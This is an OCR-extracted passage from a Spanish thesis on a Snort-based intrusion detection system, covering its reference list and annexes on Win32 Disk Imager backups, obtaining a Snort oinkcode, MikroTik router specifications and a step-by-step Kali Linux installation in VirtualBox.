configurarmikrotikwireless: https://configurarmikrotikwireless.com/blog/conceptos-

winbox-configurar-mikrotik.html

atareao. (2017,  Agosto  28). El  atareao.  Retrieved from El  atareao:

https://www.atareao.es/software/programacion/nano-un-editor-de-texto-para-la-terminal/

Australian Cyber Security Centre. (2015). 2015 cyber security survey: Major Australian
businesses. Retrieved from

https://www.acsc.gov.au/publications/ ACSC_CERT_Cyber_Security_Survey_2015.pdf
balenaEtcher. (2019). balenaEtcher. Retrieved from balenaEtcher: https://www.balena.io/etcher/

blog.calivent. (2019, Febrero 15). blog.calivent. Retrieved from blog.calivent:

http://blog.calivent.com.pe/ataque-dos-slowloris-desde-linux/

C., D. (2019, Octubre 17). Tutorial H Hostinger. Retrieved from Tutorial H Hostinger:

https://www.hostinger.co/tutoriales/que-es-ssh

Ciberaula. (2019). Ciberaula. Retrieved from Ciberaula:

https://linux.ciberaula.com/articulo/Curso_comandos_en_Linux_III

Editorial, E. (2019, Mayo 3). Reporte digital. Retrieved from Reporte digital:
https://reportedigital.com/iot/snort/

Gan J et al. (2015) Design and implementation of network attacks detection module, Tercera

Conferencia Internacional sobre Tecnologia del Ciberespacio



Gil, J. C. (2013, Mayo 3). Linux Hispano. Retrieved from Linux Hispano:
http://www.linuxhispano.net/2013/05/03/diferencia-entre-apt-get-update-y-apt-get-
upgrade/

Gomez, J. (2020, Enero 15). Administracion de Sistemas Operativos. Retrieved from

http://www.adminso.es/index.php/Snort-PAYLOAD

Gomez, J. (2020, Enero 15). Administracion de Sistemas Operativos. Retrieved from

http://www.adminso.es/index.php/Snort-OPCIONES_DE_UNA_REGLA

Goémez, J. (2020, Enero 15). Administracion de Sistemas Operativos. Retrieved from

http://www.adminso.es/index.php/Snort-METADATA

Gonzales, C. (2019, Junio 6). Adslzone. Retrieved from  Adslzone:

https://www.adslzone.net/como-se-hace/wifi/activar-dhcp/

Guide, D. (2019, Julio 30). Digital Guide. Retrieved from Digital Guide:
https://www.ionos.es/digitalguide/servidores/know-how/que-es-el-servidor-dns-y-como-

funciona/

Ibrahim Ghafir, K. G.-N. (2018). A Basic Probability Assignment Methodology for Unsupervised
Wireless Intrusion Detection. IEEE Access (volume 6), 40008-40023.

it Reseller. (2016, Julio 14). Uso de las redes piiblicas en vacaciones facilitan los ciberataques.
Retrieved from it Reseller: https://www.itreseller.es/seguridad/2016/07/el-uso-de-las-

redes-wifi-publicas-en-vacaciones-facilita-los-ciberataques

kaspersky. (2019). kaspersky. Retrieved from kaspersky: https://latam.kaspersky.com/resource-

center/threats/ddos-attacks

Linux, K. (2019, 11 18). Kali Docs. Retrieved from Kali  Docs:

https://docs.kali.org/introduction/what-is-kali-linux

Live Stats. (2019, 04 01). Internet Live Stats. Retrieved from http://www.internetlivestats.com/

75



76

Llamas, L. (2018, Mayo 16). Configurar wifi en raspberry pi por gui o terminal. Retrieved from
Configurar wifi en raspberry pi por gui o terminal:

https://www.luisllamas.es/raspberry-pi-wifi/

Macas M et al. (2017) Data Mining model in the discovery of trends and patterns of intruder attacks
on the data network as a public-sector innovation. Cuarta Conferencia Internacional sobre

eDemocracia y Administracion Electrénica

Matango, F. (2016, Agosto 18). Server VoIP. Retrieved from Server VolP:
http://www.servervoip.com/blog/tag/protocolos-de-transporte/

MikroTik. (2019). MikroTik. Retrieved from MikroTik: https://mikrotik.com/product/RB941-2nD-
TC

MikroTik. (2019). MirkoTik. Retrieved from MirkoTik: https://mikrotik.com/product/RB951Ui-
2HnD

MiKroTik. (2019). MikroTik. Retrieved from MiKroTik: https://mikrotik.com/aboutus

networkworld. (2018, Febreo 30). networkworld. Retrieved from networkworld:

https://www.networkworld.es/wifi/80211-estandares-de-wifi-y-velocidades
Oracle. (2019, 11 19). VirtualBox. Retrieved from VirtualBox: https://www.virtualbox.org/

peppeS8o. (2019, Septiembre 17). peppeSo. Retrieved from peppe8o:
https://peppe8o.com/2019/09/raspbian-lite-vs-desktop/

PI, R. (2013, Diciembre 18). Blog Historia de la Informatica. Retrieved from Blog Historia de la
Informatica: https://histinf.blogs.upv.es/2013/12/18/raspberry-pi/

PricewaterhouseCoopers. (2015, 07). Pricewaterhouse. Retrieved from
https://www.pwc.com/us/en/increasing-it-effectiveness/publications/assets/2015-us-

cybercrime-survey.pdf

Ramesh. (2019).  Linux 101  Hacks. Retrieved from Linux 101  Hacks:
https://linux.101hacks.com/unix/ldconfig/

Raspberrypi. (2019). Raspbian. Retrieved from Raspbian:

https://www.raspberrypi.org/documentation/raspbian/



redes, E. c. (2017, Septiembre 04). Enredando con redes. Retrieved from Enredando con redes:

https://enredandoconredes.com/2017/09/04/puerto-espejo-un-aliado-a-veces-olvidado/
Reina, J. (2019). Intrusion Detection Systems IDS. Bogota: Universidad Pontificia Bolivariana.

Ruostemma, 1. (2019). UpCloud. Retrieved from UpCloud:

https://upcloud.com/community/tutorials/installing-snort-on-debian/
Sampieri, R. H. (2014). Metodologia de la investigacion. Mexico: Mc Graw Hill Education.

Sincables. (2019, 11 21). Sincables. Retrieved from Sincables:
https://sincables.com.ec/product/rb941-2nd-tc-hap-lite-2-4ghz/

Snort. (2019). Snort. Retrieved from Snort: https://www.snort.org/fag/what-is-snort
Snort. (2019). Snort. Retrieved from Snort: https://www.snort.org/fag/readme-reputation
Snort. (2019). Snort. Retrieved from Snort: https://www.snort.org/fag/readme-unified2
Snort. (2019). Snort. Retrieved from Snort: https://www.snort.org/oinkcodes

Softpedia. (20 de Marzo de 2018). Win32 Disk Imager. Obtenido de Softpedia:
https://www.softpedia.com/get/CD-DVD-Tools/Data-CD-DVD-Burning/Win32-Disk-Imager.shtml

Spamina. (2019). Spamina part of hornetsecurity group. Retrieved from
Spamina part of hornetsecurity group: https://spamina.com/knowledge- base/brute-

force-attacks

speedcheck. (2019). speedcheck. Retrieved from speedcheck:
https://www.speedcheck.org/es/wiki/nat/

Speedcheck. (2019). Speedcheck. Retrieved from Speedcheck:
https://www.speedcheck.org/es/wiki/icmp/

Symantec. (2019). Informe sobre las amenazas para la seguridad en internet 2019. Retrieved from

Symantec: https://www.symantec.com/es/es/security-center/threat-report

Symantec. (2019). Los riesgos del wifi piublico. Retrieved from Symantec:
https://us.norton.com/internetsecurity-privacy-risks-of-public-wi-
fi.html?otm_medium=onespot&otm_source=onsite&otm_content=category-landing:top-

of-feed-unit&otm_click_1d=98f56acd-270e-4605-b1c9-5d84080b481e

77



78

Tao Y et al. (2011) Research on the simulation model of network attacks, Conferencia Internacional

sobre Informatica y Sistema de Servicios.

Tapan P et al. (2013) Intrusion detection system on MAC layer for attack prevention in MANET,
Cuarta Conferencia Internacional sobre Computacion, Comunicaciones y Tecnologias de

Redes (ICCCNT)

Valle, F. (2018). Estudio de usos y riesgos asociados a las redes abiertas bajo el protocolo IEEE

802.11 en la ciudad de Bogotd. In E. Serna, Desarrollo e innovacion en ingenieria 3ra

edicion (p. 73). Medellin: IAI.

Valle, F. (2018). Estudio de usos y riesgos asociados a las redes abiertas bajo el protocolo IEEE

802.11 en la ciudad de Bogotd. In E. Serna, Desarrollo e Innovacion en Ingenieria 3ra

Edicion (p. 75). Medellin: IAIL

Valle, F. (2018). Estudio de usos y riesgos asociados a las redes abiertas bajo el protocolo IEEE

802.11 en la ciudad de Bogota. In E. Serna, Desarrollo e innovacion en Ingenieria 3ra

edicion (p. 75). Medellin: IAI.

Velasco, R. (2019, Junio 8). RZ Redes Zone. Retrieved from RZ Redes Zone:

https://www.redeszone.net/2019/06/08/hydra-9-0-herramienta-romper-contrasenas/

Xiaojin Hong, C. H. (2012). VisSRA: Visualizing Snort Rules and Alerts. 2012 Fourth
International Conference on Computational Intelligence and Communication Networks.

Mathura.

ZEOKAT. (2014, Mazro 28). VoziDEA. Retrieved from VoziDEA: https://www.vozidea.com/que-

es-putty-y-para-que-sirve



79

Anexos
Programas Utilizados
Win32 Disk Imager.

A lo largo de la configuracion del IDS e implementacién de este en la microSD por seguridad
se requeria realizar un backup de dicha microSD pues cualquier error o configuraciéon mal
realizada podria provocar una pérdida total del proceso realizado, en vista de que dicho backup
debia quedar en formato iso para obtener este backup se requiri6 el uso de la herramienta Win32

Disk Imager que segun el sitio web de (Softpedia, 2018).

“Win32 Disk Imager es una aplicacién compacta que le permite crear un archivo de imagen
desde un dispositivo de almacenamiento extraible, como una unidad USB o una tarjeta de
memoria SD. Se puede utilizar para hacer una copia de seguridad de la informacién almacenada

en el dispositivo para restaurarla mas tarde”

Es decir, con este aplicativo se puede generar un archivo iso del estado actual de la microSD,
con el fin de que en caso de requerirlo se pueda regresar a el estado guardado por Win32 Disk

Imager, el aplicativo tiene un apartado grafico como el que se aprecia en la figura 88.

“4 Win32 Disk lmager - 1.0 = O >

Image File I Device

I
|C:/Users/User [Documents /Proyecto de grado/4-11-2019 (Terminada).iso | I@ [EN =

Hash
Mone | jieneatE Copy

[ ] Read Only Allocated Partitions

Progress 3

Cancel Fead Write Verify Only Exit

Figura 88. Interface grafica de Win32 Disk Imager. (Autoridad propia)



Respectivamente cada una de las secciones corresponden a:

1. Ruta de ubicacion donde se desea almacenar €l backup y nombre para el archivo iso.
2. Launidad asignada por el sistema operativo para la microSD de donde se requiere obtener
un backup

3. Aparatado para ejecutar el proceso de respaldo de la informacion.

En caso de necesitar restaurar el backup “iso” se tomaria provecho del aplicativo balenaEtcher
ejecutando el mismo proceso que se realiz para la escritura de Raspbian, esta tarea se puede
ejecutar sobre la microSD si necesidad de formatearla gracias a las prestaciones de sobre escritura

de balenaEtcher.

Obtener Oinkcode.
Los Oinkcode segun la péagina oficial de Snort “son claves unicas asociadas a su cuenta de
usuario. El oinkcode actia como una clave de API para descargar paquetes de reglas con las URL

que se enumeran a continuacién” (Snort, Snort, 2019)

Para obtener los Oinkcode asignado por Snort para los usuarios registrados lo que se requiere
es inicialmente el registro en la pagina oficial de Snort, es un paso simple donde solo se requiere
de un correo electrénico y una contrasefia como se puede evidenciar en la figura 89. Una vez
registrados se accede al usuario pulsando sobre el correo electronico correo como se aprecia en la

figura 90.
Sign up

Email

Please enter your Email od

Password

Password confirmation

Figura 89. Registro de Snort. (Autoridad propia)
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Figura 90. Acceso al usuario de registro Snort. (Autoridad propia)

Ubicados en el usuario se accede al apartado “Oinkcode” donde desplegaria un cédigo el cual
en la figura X estd sefalado de color rojo y es el que se utilizara para la descarga de las reglas de
Snort en el raspbian bajo el comando de la figura 91.

]
Q e

S

1 z bryansostoquoggmalicom
oryansasiogueagmall.com

Figura 91. Oinkcode (Autoridad propia)

Dispositivos MikroTik Utilizados.

Dentro de los dispositivos utilizados encontramos inicialmente El MikroTik RouterBOARD

951Ui-2HnD que se puede apreciar en la figura 92 y que es segun el sitio web oficial de MikroTik.
“El RB951Ui-2HnD es un SOHO AP inaldmbrico con una nueva generacion de CPU
Atheros y
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mds potencia de procesamiento. Tiene cinco puertos Ethernet, un puerto USB 2.0 y un AP
inaldmbrico de alta potencia de 2.4GHz 802.11b/ g / n con antenas incorporadas” (MirkoTik,
2019)

“Tiene una CPU de 600MHz, 128MB de RAM vy funcién de salida PoE para el puerto # 5 -
puede alimentar otros dispositivos con capacidad PoE con el mismo voltaje que el aplicado a la

unidad. La carga maxima en el puerto es de 500 mA” (MirkoTik, 2019)

Figura 92. MikroTik RouterBOARD 951Ui- 2HnD. (Aibi Tech, 2019)

Adicionalmente se utiliz6 el MikroTik RouterBOARD 941-2nD, el fua fue denominado “AP”,
este se puede apreciar en la figura 93. Este MikroTik es segtn el sitio Web de MikroTik.

“Home Access Point lite (hAP lite) es un pequefio dispositivo ideal para su apartamento, casa

u oficina.

Admite WPS activado por botdn, para la conveniencia de no escribir una contrasefia
complicada cuando alguien quiere tener acceso inaldmbrico a Internet, y también se le puede
pedir que cambie al modo cAP y se una a una red administrada centralmente CAPsMAN con

solo presionar un boton.

Por supuesto, el dispositivo ejecuta RouterOS con todas las caracteristicas, configuracion de

ancho de banda, firewall, control de acceso de usuario y muchos otros.
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El hAP lite esta equipado con una potente CPU de 650 MHz, 32 MB de RAM, conexion
inaldmbrica integrada de 2,4 GHz de doble cadena, cuatro puertos Fast Ethernet y una licencia

RouterOS L4. Se incluye fuente de alimentacién USB” (MikroTik, 2019)

[’ S 7

Figura 93. MikroTik R(_)uterBOARD 941- 2nD (Sincables, 2019)

Instalacion de Kali Linux
Se escoge el sistema operativo Kali Linux debido a las caracteristicas y herramientas que posee

y es que seguln su pagina oficial:

“Kali Linux es una distribucién de Linux basada en Debian destinada a pruebas avanzadas de
penetracion y auditoria de seguridad. Kali contiene varios cientos de herramientas que estdn
orientadas a diversas tareas de seguridad de la informacién, como pruebas de penetracion,

investigacion de seguridad, informadtica forense e ingenieria inversa.” (Linux, 2019)



Debido a lo anterior y a las ventajas que posee, como cuenta un blog de tecnologia:

“Efectivamente, Kali Linux es la herramienta perfecta para hackers, que buscan (y encuentran)
los limites y fisuras en la seguridad de las redes y sistemas informéticos. Pero eso no tiene por
qué estar orientado a cometer actos ilegales, ya que ser hacker no estd vinculado a la
ciberdelincuencia, aunque algunos puedan dedicarse a utilizar sus conocimientos para cometer

delitos.” (Andrés, 2016)

La instalacion del sistema operativo Kali Linux se hard por medio de una miquina virtual y se

ha escogido Oracle VM VirtualBox ya que segtin su pdgina oficial:

“VirtualBox es un potente producto de virtualizaciéon x86 y AMDG64 / Intel64 para uso
empresarial y doméstico. VirtualBox no solo es un producto extremadamente rico en funciones
y de alto rendimiento para clientes empresariales, sino que también es la unica solucion
profesional que estd disponible gratuitamente como software de codigo abierto bajo los términos

de la version 2 de la Licencia Pablica General (GPL) de GNU.” (Oracle, 2019)

Como primer paso para la instalacién del sistema operativo mencionado anteriormente en la
madquina virtual es necesario llevar a cabo unas configuraciones y realizar el proceso de instalacion

de una manera exitosa.

Configuracion maquina virtual
Oracle VM VirtualBox maneja una interfaz grafica que se puede ver en la figura 94, esta
facilita el proceso de configuracion de una maquina virtual, como primer paso se debe hacer clic
en la opcion que dice “nueva” como se muestra en la figura 94, donde aparecerd una ventana
donde se podré digitar el nombre de la maquina virtual y el sistema operativo a instalar como se

evidencia en la figura 95 y a continuacion se dard clic a “Next”.

¢ \ R i
& A R [
Preferencas  Importar Exportar § Nueva NAfRadir

iBienvenido a VirtualBox!

La parte izquierda de esta ventana contiene herramientas globales y una lista de
todas las maquinas virtuales y grupos de maquinas virtuales en su computadora.
Puede importar, afiadir y crear nuevas MVs usando los botones correspondientes de
la barra de herramientas. Puede abrir un «popup» del elemento seleccionado
actualmente usando el botdn de elemento correspondiente. Puede presionar la teda
F1 para obtener ayuda dnea o visitar www.virtualbox.org para mas
informacién y las Gltimas noticias.

Figura 94. Interfaz gréfica Oracle Vm VirtualBox. (Autoridad propia)
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Crear maquina virtual

Nombre y sistema operativo

Seleccone un nombre descriptivo y una carpeta destino para la nueva maquina
virtual y seleccione el tipo de sistema operativo que tiene intencién de instalar en

ella. El nombre que seleccione sera usado por VirtualBox para identificar esta
méaquina.

Nombre: ‘Kah Linux

Carpeta de maquina: [ C:\Users\User\VirtualBox VMs ™,
Tipo: |Other % n
Version: | Other/Unknown v

T e
Figura 95. Nombre y sistema operativo maquina virtual. (Autoridad propia)

Posterior a esto se deberd digitar el tamafio de memoria RAM para la mdquina virtual, la cual
se dej6 en 2GB equivalentes a 2048MB como se ve en la figura 96, es entonces cuando se procede
a seleccionar la opcion de “Crear un disco virtual ahora”, a lo que se le dard “Next” como en la
figura 97, en cuanto al tipo de archivo de disco duro se escoge VDI (VirtualBox Disk Image) tal
como se evidencia en la figura 98 y después se selecciona “Reservado dindmicamente” hablando
del almacenamiento en unidad de disco duro fisica como se ve en la figura 99, por dltimo se escribe
la ubicacion del archivo la cual se deja por defecto y se selecciona el tamafio del disco duro virtual

que se dejo en 20GB como en la figura 100 ya que debe ser mayor a 15GB.

€ Crear maquina virtual

Tamafo de memoria

Seleccione la cantidad de memoria (RAM) en megabytes a ser reservada para la
maquina virtual.

El tamafio de memoria recomendado es 64 MB.

[0e8 5] 8

15360 MB

Cancelar
Figura 96. Tamafio de memoria RAM madquina virtual. (Autoridad propia)
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€ Crear maquina virtual

Disco duro

Si desea puede afiadir un disco duro virtual a la nueva mdquina. Puede crear un
nuevo archivo de disco duro o seleccionar uno de la lista o de otra ubicacion
usando el icono de la carpeta.

. Si necesita una configuracién de almacenamiento mas compleja puede omitir este
paso y hacer los cambios a las preferencias de la maquina virtual una vez creada.

El tamafio recomendado del disco duro es 2.00 GB.
O No afiadir un disco duro virtual

(@ Crear un disco duro virtual ahora

O Usar un archivo de disco duro virtual existente

Vado
Crear Cancelar

Figura 97. Crear disco duro virtual. (Autoridad propia)

Crear de disco duro virtual

Tipo de archivo de disco duro
Selecione el tipo de archivo que quiere usar para el nuevo disco duro virtual. Sino

necesita usarlo con otro software de virtualizacion puede dejar esta configuracién sin
cambiar.

(@ VDI (VirtualBox Disk Image)
(O VHD (Virtual Hard Disk)
(O VMDK (Virtual Machine Disk)

Modo experto Cancelar
Figura 98. Tipo de archivo de disco duro virtual. (Autoridad propia)

€ Crear de disco duro virtual

Almacenamiento en unidad de disco duro fisica

Seleccione si el nuevo archivo de unidad de disco duro virtual deberia crecer segin se
use (reserva dindmica) o si deberia ser creado con su tamario méximo (tamafio fijo).

Un archivo de disco duro reservado dinamicamente solo usara espacio en su disco
fisico a medida que se llena (hasta un maximo tamaiio fijo), sin embargo no se reducird
de nuevo autométicamente cuando el espacio en €l se libere.

Un archivo de disco duro de tamaiio fijo puede tomar mas tiempo para su creacién en
algunos sistemas, pero normalmente es més rapido al usarlo.

(@ Reservado dindmicamente
O Tamafio fijo

Next. Cancelar

Figura 99. Almacenamiento en unidad de disco duro fisica. (Autoridad propia)
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€ Crear de disco duro virtual

Ubicacién del archivo y tamario

Escriba el nombre del archivo de unidad de disco duro virtual en el campo debajo o haga
dic en el icono de carpeta para seleccionar una carpeta diferente donde crear el archivo.

[c:\Users\user\WirtualBox VMs Kali Linux Kali Linux. vdi | @

Seleccione el tamafio de disco duro virtual en megabytes. Este tamafio es el limite para el
archivo de datos que una méquina virtual podré almacenar en el disco duro.

[ ] 20.00G8 |

4.00mM8 2.00T8

Crear Cancelar

Figura 100. Ubicacion del archivo y tamafio. (Autoridad propia)

Después de haber realizado los pasos anteriores ya se tiene creada la maquina virtual, por lo
tanto, se procede a hacer unas configuraciones adicionales para el funcionamiento efectivo; se
empieza entonces por dar en la opcidn configuracion la cudl desplegard una ventana donde se
procederd a dar clic en el apartado “Sistema” como se muestra en la figura 101, donde hay que
ubicarse en la pestafia ‘“Procesador”, para poder seleccionar 2 nicleos, posterior a esto dar clic en la
pestafia “Aceleracion”, y en la parte de “Interfaz de paravirtualizacion” se dejara la opciéon Hyper-

V como en la figura 102.

.g] General Sistema
[&] sistema Placabase  Procesador  Aceleracén
[ Pantalla Procesador(es): I E
) 1cPU 4cPUS
Almacenamiento r
Limite de ejecucidn: ¥ [100% %]
\DJ Audio 1% 0%
@ Red Caracteristicas extendidas: [_] Habilitar PAE/NX
|£ Puertos serie
L uss
[ cerpetas compartidas
[ interfoz de usuario
Configuracién invalida detectada [Jil Aceptar Cancelar

Figura 101. Modificacién nimero de nicleos para el procesador maquina virtual. (Autoridad propia)



9] General sistema
‘E Sistema Placabase  Procesador  Aceleracén
(] pantota Interfaz de paravirtualizacién: |Hyper-V -

%) Hardware de virtualizacion: Habilitar paginacién ani
] Almacenamiento iardware de virtualizacion: [/] Habiltar paginacién anidada

@n Audio

@ Red

£ Puertos serie

& us

[2] Corpetas compartidas

F_| Interfaz de usuario

Configuracion invaida detectada [fil Aceptar Cancelar

Figura 102. Cambio interfaz de para virtualizacién en maquina virtual. (Autoridad propia)
Posterior a esto se procede a configurar la pantalla en la cual se dejard al mdximo la memoria
de video y en cudnto al controlador grafico se seleccionard VBoxSVGA como en la figura 103, por
otro lado, en la configuracién de la red en la parte de Conectado se dejard “Adaptador puente”
como en la figura 104 ya que esta opcién puentea la conexion a red de la pc y de lo contrario

asignara un NAT que lo que hard es natear la red y tener un segmento completamente distinto de

‘! General Pantalla
(] sistema Pontala  Pantalaremota  Grabando
e |E

@ Pantalla Memoria de video: ' [123 MB 3|
Almacenamiento oMe 128M8
i Némero de monitores: [ 1 B
uD] Audio =

1 8 |
) Red Factor de escalado: [Todos los monitores ~| 100% (% ’
@ Puertos serie ¥ Max

Controlador grafico: |VBoxVGA ¥

D/ S Aceleracién: [] Habilitar aceleracion 30

D Carpetas compartidas

[ imterfez de usuario

Configuracion invalida detectada @ Aceptar Cancelar

Figura 103. Configuracién pantalla maquina virtual. (Autoridad propia)
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B General Red

& | Sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

Bl Pantalla [ Habiiitar adaptador de red

& Conectado a:  Adaptador puente 2

u Almacenamiento

s Nombre: | Intel(R) Dual Band Wireless-AC 8265 b
UJ Audio .

D Avanzadas

1-1 Red

{3} Puertos serie
£ uss

[L_| Carpetas compartidas

[F_| Interfaz de usuario

Configuracién invalida detectada [fi] Cancelar

Figura 104. Configuracién red maquina virtual. (Autoridad propia)

Por ultimo, se podrd dar iniciar, en esta parte pedird que se seleccione el archivo .iso o la imagen

del sistema operativo a instalar, en este caso en el Kali Linux como se ve en la figura 105.
al

"

Tiene la opcién de teclads Esto causara que la maquina virtual capture automaticamente @N

Seleccionar disco de inicio

Seleccione un archivo de disco dptico virtual o una unidad
Gptica fisica que contenga un disco desde el que inidar su
nueva maquina virtual.

El disco deberia ser adecuado para iniciar el sistema y deberia
contener el sistema operativo que desea instalar en la maquina
virtual si quiere hacerlo ahora. El disco seré expulsado de la
unidad virtual automaticamente la préxima vez que apague la
maquina, puede hacer esto usted mismo si lo necesita desde el
menu Dispositivos.

Kali Linux.iso (3.70 GB) ¥ L:s

Cancelar

Bo@e 8@ U @ creomeca
Figura 105. Seleccion archivo .iso para instalacion Kali Linux. (Autoridad propia)
Pasos para instalacion Kali Linux

Después de la configuracion e iniciacion de la maquina virtual se procede a hacer la instalacién

de Kali Linux, en la cual como primer paso se le da Instalacién Grafica, tal como se evidencia en
la figura 106.



KALI

~the quieter you becomey the more you are able to hear®

Boot menu

Live (amdo4)

Live (amd64 failsafe)

Live (forensic mode)

Live USB Persistence tcheck kali.org/prst)
Live USB Encrypted Persistence (check kali.orgsprst)
Install

Graphical install

Inztall with speech synthesis

Advanced options

Figura 106. Instalacién gréfica Kali Linux. (Autoridad propia)

Se procede a escoger idioma (figura 107), ubicacion (figura 108) y configuracion del teclado
(figura 109).

Select a language

Choose the language to be used for the installation process. The selected language will also be the
default language for the installed system.

Language;

Romanian - Romana =

Russian = Pycceni

Serbian (Cyrillic) = Cpncem

sinhala = B

Slovak - Sloventina &

Slovenian - Slovenséina

Espaiol

Swedish - Swvenska

Tagalog - Tagalog

Tajik = Towuki

Tamil -l

Telugu = e

Thai = nuviva

B

Tibetan - i e

| screenshot GoBack || Continue |

Figura 107. Seleccionar lenguaje instalacion. (Autoridad propia)



Seleccione su ubicacion

La ubicacion seleccionada aqui se utilizara para fijar su zona horaria y también como ejemplo para
ayudarle a seleccionar la localizacion de su sistema, Esta localizacion sera habitualmente el pais donde
vd. vive.

Esta es una lista reducida de ubicaciones basada en el idioma que ha seleccionado. Escoja «otros sisu
ubicacion no esta en la lista.
Pais, termtorio o drea:

chile [

Costa Rica X
Cuba

Ecuador

El Salvador

Espafia

Estados Unidos

Guatemala

Honduras

México

Nicaragua

Panama -E|
Capturar la pantalla Retroceder Continuar |

Figura 108. Seleccionar ubicacién instalacion. (Autoridad propia)

Configure el teclado

Mapa de teclado a usar:

Canarés [=
Kazajo

Jemer

Kirghizo

Coreano

Kurdo (variante F)

Kurdo (variante Q) *
Laosiano

Leton

Lituano

Macedonio

Malayalamo

Nepalés

Sami septentrional

Noruego

Persa =

Capturar la pantalla Retroceder | Continuar |

Figura 109. Configuracién teclado instalacién Kali. (Autoridad propia)
Posterior a esto se debe introducir el nombre de la mdquina, se dejo por defecto que es Kali tal
como en la figura 110, se llega entonces al paso donde hay que digitar la contrasefa para el
Superusuario o también llamado Root que es la cuenta o usuario que se encarga de la

administracion del sistema, este paso se puede evidenciar en la figura 111.



| KALI I

BY OFFENSIVE SECURITY

Configurar la red

Por favor, introduzca el nombre de la maquina.

El nombre de maquina es una sola palabra que identifica el sistema en la red. Consulte al administrador
de red si no sabe qué nombre deberia tener. Si esta configurando una red doméstica puede inventarse
este nombre.

Nombre de la maquina:

@&

Capturar la pantalla | Retroceder | L Continuar

Figura 110. Introducir nombre médquina Kali. (Autoridad propia)

Configurar usuarios y contrasenas

Necesita definir una contrasefia para el superusuario («root»), la cuenta de administracion del sistema.
Podria tener graves consecuencias que un usuario malicioso o un usuario sin la debida cualificacién
tuviera acceso a la cuenta del administrador del sistema, asi que debe tener cuidado y elegir un la
contraseia para el superusuario que no sea facil de adivinar. No deberia ser una palabra que se
encuentre en el diccionario, o una palabra que pueda asociarse facilmente con usted.

Una buena contrasefa debe contener una mezcla de letras, nimeros y signos de puntuacién, y debe
cambiarse regularmente.

La contrasefa del usuario «root» (administrador) no deberia estar en blanco. Si deja este valor en
blanco, entonces se deshabilitara la cuenta de root creara una cuenta de usuario a la que se le daran
permisos para convertirse en usuario administrador iitilizando la orden «sudos.

Tenga en cuenta que no podra ver la contrasefna mientras la introduce.
Clave del superusuario:

_| Mostrar la contrasena en claro

Por favor, introduzca la misma contrasefa de superusuario de nuevo para verificar que la introdujo
correctamente.

Vuelva a introducir la contrasena para su verificacion:

] Mostrar la contrasefia en claro

Capturar la pantalla Retroceder [ Continuar !

Figura 111. Digitar contrasefia superusuario Kali. (Autoridad propia)

Es cuando se llega entonces al paso de particionar los discos, que como se estd instalando en
una mdquina virtual y no hay ningun otro sistema operativo dentro de la miquina virtual se escoge
la opcién “Guiado — utilizar todo el disco”(Figura 112), posterior a eso se escoge el disco duro que
se va a particionar(Figura 113), se selecciona la opcion de “Todos los ficheros en una particiéon”,
la cual es recomendada para novatos(Figura 114), después de dar continuar se escoge la opcion de
“Finalizar el particionado y escribir los cambios en el disco” (figura 115), para de esta manera

confirmar el particionado como en la figura 116, cabe resaltar que si el sistema operativo no se va
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a instalar en una mdquina virtual hay que tener mds cuidado con estos pasos, ya que podria dafiar
el sistema operativo existente en el pc.

| KALI ]

BY OFFENSIVE SECURITY
Particionado de discos

Este instalador puede guiarle en el particionado del disco (utilizando distintos esquemas estandar) o, si

lo desea, puede hacerlo de forma manual. Si escoge el sistema de particionado guiado tendra la
oportunidad mas adelante de revisar y adaptar los resultados.

Se le preguntara qué disco a utilizar si elige particionado guiado para un disco completo.
Método de particionado:

Guiado - utilizar todo el disco
Guiado - utilizar el disco completo y configurar LVM

Guiado - utilizar todo el disco y configurar LVM cifrado
Manual &

| capturar la pantalla |

Retroceder \ Continuar
Figura 112. Opcién particionado Kali. (Autoridad propia)

I KALI I

BY OFFENSIVE SECURITY

Particionado de discos

Tenga en cuenta que se borraran todos los datos en el disco que ha seleccionado. Este borrado no se
realizara hasta que confirme que realmente quiere hacer los cambios.

Elija disco a particionar:

SCSI1 (0,0,0) (sda) - 21.5 GB ATA VBOX HARDDISK

[ Capturar la pantalla |

Retroceder | Continuar
Figura 113. Seleccién disco duro a particionar. (Autoridad propia)
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KALI

07 OFFENSIVE SECURITY

Particionado de discos

Seleccionado para particionar:

SCSI1 (0,0,0) (sda) - ATA VBOX HARDDISK: 21.5 GB

Este disco puede particionarse siguiendo uno o varios de los diferentes esquemas disponibles. Si no

esta seguro, escoja el primero de ellos.
Esquema de particionado:

Todos los ficheros en una pa
Separar la particion /home
Separar particiones /home, vary /tmp L3

on (recomendado para novatos)

Capturar la pantalla

Retroceder | [_ Continuar

Figura 114. Seleccionar forma para particionar disco. (Autoridad propia)

KALI

BY OFFENSIVE SECURITY

Particionado de discos

Este es un resumen de las particiones y puntos de montaje que tiene configurados actualmente. Seleccione una
particion para modificar sus valores (sistema de ficheros, puntos de montaje, etc.), el espacio libre para anadir una
particion nueva o un dispositivo para inicializar la tabla de particiones.

Particionado guiado

Configurar RAID por software

Configurar el Gestor de Volimenes Logicos (LVM)
Configurar los volamenes cifrados

Configurar los volimenes iSCSI

L3
¥ SCsil (0,0,0) (sda) - 21.5 GB ATA VBOX HARDDISK
> #1 primaria 19.3GB f exta !
> #5 logica 2.1GB f intercambio intercambio

Deshacer los cambios realizados a las particiones
Finalizar el parti

nado y esc

r los cambios en el disco

| Capturar la pantalla" [ Ayuda 1

Retroceder A Continuar
Figura 115. Finalizar particionado para escribir cambios en disco. (Autoridad propia)
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Particionado de discos

Se escribiran en los discos todos los cambios indicados a continuacion si continia. Si no lo hace podra
hacer cambios manualmente.

Se han modificado las tablas de partici de los sigui dispositivos:
sScsil (0,0,0) (sda)

Se formatearan las siguientes particiones:
particion #1 de SCSI1 (0,0,0) (sda) como extd
particion #5 de SCSI1 (0,0,0) (sda) como intercambio
¢Desea escribir los cambios en los discos?

) No

@ Si

VCapturarIa pantalla [ Continuar |

Figura 116. Confirmar particionado de disco. (Autoridad propia)

Debido a que se va a manejar el sistema operativo a bajo nivel no es necesario utilizar una
réplica en red para poder instalar o complementar los programas que vienen dentro del archivo .iso

del Kali Linux, por lo tanto, a la opcién de utilizar una réplica en red se le da “No”, como en la
figura 117.

I KALI |

BY OFFENSIVE SECURITY

Configurar el gestor de paquetes

Puede utilizar una réplica en red para complementar los programas incluidos en el CD-ROM. Esto también
puede hacer que tenga a su disposicion nuevas versiones de los programas.

¢Desea utilizar una réplica en red?
@ No

O Ssi

| Capturar la pantalla |

Retroceder | Continuar ]
Figura 117. Utilizar una réplica en red. (Autoridad propia)
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Como ultimos pasos para la instalacion del Kali Linux se debe instalar el cargador de arranque
